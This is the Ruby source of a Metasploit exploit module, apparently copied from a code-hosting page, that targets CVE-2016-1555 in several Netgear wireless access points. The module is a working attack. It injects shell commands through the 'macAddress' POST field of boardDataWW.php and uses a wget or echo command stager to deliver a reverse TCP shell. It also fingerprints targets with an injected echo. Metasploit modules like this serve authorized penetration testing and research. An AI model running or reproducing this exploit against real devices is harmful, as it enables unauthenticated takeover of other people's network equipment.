adfoster-r7
113 lines
3.7 KiB
Ruby
113 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Netgear Devices Unauthenticated Remote Command Execution',
|
|
'Description' => %q{
|
|
From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
|
|
(3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
|
|
Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
|
|
WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
|
|
arbitrary commands.
|
|
},
|
|
'Author' => [
|
|
'Daming Dominic Chen <ddchen[at]cs.cmu.edu>', # Vuln discovery
|
|
'Imran Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2016-1555'],
|
|
['URL', 'https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic'],
|
|
['PACKETSTORM', '135956'],
|
|
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/112']
|
|
],
|
|
'DisclosureDate' => '2016-02-25', # According to http://seclists.org/fulldisclosure/2016/Feb/112
|
|
'Privileged' => true,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_MIPSBE,
|
|
'Payload' => {},
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => 'wget',
|
|
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
|
|
'WfsDelay' => 10
|
|
},
|
|
'Targets' => [['Automatic', {}]],
|
|
'CmdStagerFlavor' => %w{echo printf wget},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'Path of the vulnerable URI.', '/boardDataWW.php']), # boardDataWW.php
|
|
OptString.new('MAC_ADDRESS', [true, 'MAC address to use (default: random)', Rex::Text.rand_text_hex(12)])
|
|
]
|
|
)
|
|
end
|
|
|
|
# check for vulnerability existence
|
|
def check
|
|
fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response
|
|
res = execute_command("echo #{fingerprint}") # the raw POST response
|
|
|
|
unless res
|
|
vprint_error 'Connection failed'
|
|
return CheckCode::Unknown('Could not determine the target status')
|
|
end
|
|
|
|
unless res.code == 200
|
|
return CheckCode::Safe('The target is not vulnerable')
|
|
end
|
|
|
|
unless res.get_html_document.at('input').to_s.include? fingerprint
|
|
return CheckCode::Safe('The target is not vulnerable')
|
|
end
|
|
|
|
CheckCode::Vulnerable('The target is vulnerable')
|
|
end
|
|
|
|
# execute a command, or simply send a POST request
|
|
def execute_command(cmd, opts = {})
|
|
vars_post = {
|
|
'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};",
|
|
'reginfo' => '1',
|
|
'writeData' => 'Submit'
|
|
}
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'headers' => { 'Connection' => 'Keep-Alive' },
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'vars_post' => vars_post
|
|
})
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
|
|
end
|
|
|
|
# the exploit method
|
|
def exploit
|
|
# run a check before attempting to exploit
|
|
unless [CheckCode::Vulnerable].include? check
|
|
fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
|
|
end
|
|
|
|
execute_cmdstager(linemax: 2048) # maximum 130,000
|
|
end
|
|
|
|
end
|